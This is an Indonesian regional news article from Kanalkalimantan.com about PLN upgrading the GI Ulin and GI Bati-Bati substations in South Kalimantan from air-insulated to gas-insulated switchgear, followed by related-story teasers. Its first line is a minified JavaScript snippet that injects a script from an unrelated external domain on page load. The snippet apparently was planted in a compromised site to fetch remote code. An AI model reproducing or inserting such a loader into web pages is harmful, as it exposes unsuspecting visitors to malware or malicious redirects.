(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sebagai bentuk komitmen dalam menigkatkan keandalan pasokan listrik pelanggan, PT PLN (Persero) Unit Induk Wilayah Kalimantan Selatan dan Kalimantan Tengah (PLN UIW Kalselteng) melakukan penguatan keandalan pada dua Gardu Induk (GI) di Provinsi Kalimantan Selatan.
Dua Gardu Induk tersebut yakni, GI Ulin dengan kapasitas 2 x 60 Mega Volt Ampere (MVA) dan GI Bati-Bati 1 x 60 MVA yang dilakukan penguatan dengan migrasi seluruh rangkaian komponen GI konvensional yang beroperasi dengan teknologi Air Insulated Switchgear (AIS) ke teknologi Gas Insulated Switchgear (GIS).
General Manager PLN UIW Kalselteng, Sudirman menjelaskan GIS merupakan salah satu klasifikasi komponen pada gardu induk yang berfungsi sebagai sistem penghubung dan pemutus jaringan listrik yang dikemas dengan menggunakan gas Sulfur HexaFlouride (SF6) sebagai media isolasi pada peralatan yang bertegangan, dimana peralatan-peralatan utamanya berada dalam satu selubung logam tertutup rapat.
“GIS ini merupakan teknologi digital pada komponen Gardu Induk yang memiliki banyak keunggulan dari komponen AIS sebelumnya, seperti tidak memerlukan skala pemeliharaan berkala, pengoperasiannya lebih efisien dan bisa dikendalikan secara otomatis atau Substation Automatic System (SAS),” ungkap Sudirman.
Lebih lanjut Sudirman mengatakan dengan dilakukan penguatan Gardu Induk menggunakan teknologi GIS akan memperkuat keandalan pasokan dan suplai listrik PLN ke seluruh Pelanggan, sehingga dapat terciptanya pertumbuhan kelistrikan yang terus meningkat dan berkelanjutan dengan mutu dan tegangan listrik yang lebih baik.
“GIS Ulin dan GIS Bati-Bati menjadi jaminan dari PLN dalam menyediakan pasokan listrik dengan keandalan tegangan listrik yang lebih baik, terutama di Kota Banjarmasin yang saat ini semakin ramai penduduk dan tingginya permintaan suplai listrik, untuk itu kami pastikan pasokan listrik tersedia dengan tidak mengurangi kualitas kendalan listrik yang kami suplai,” ungkap Sudirman.
Sudirman berharap dengan beroperasinya GIS pada GI Ulin dan GI Bati-Bati dapat dirasakan manfaatnya oleh pelanggan dengan mutu tegangan listrik yang lebih baik. (Kanalkalimantan.com/ril)
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
This website uses cookies.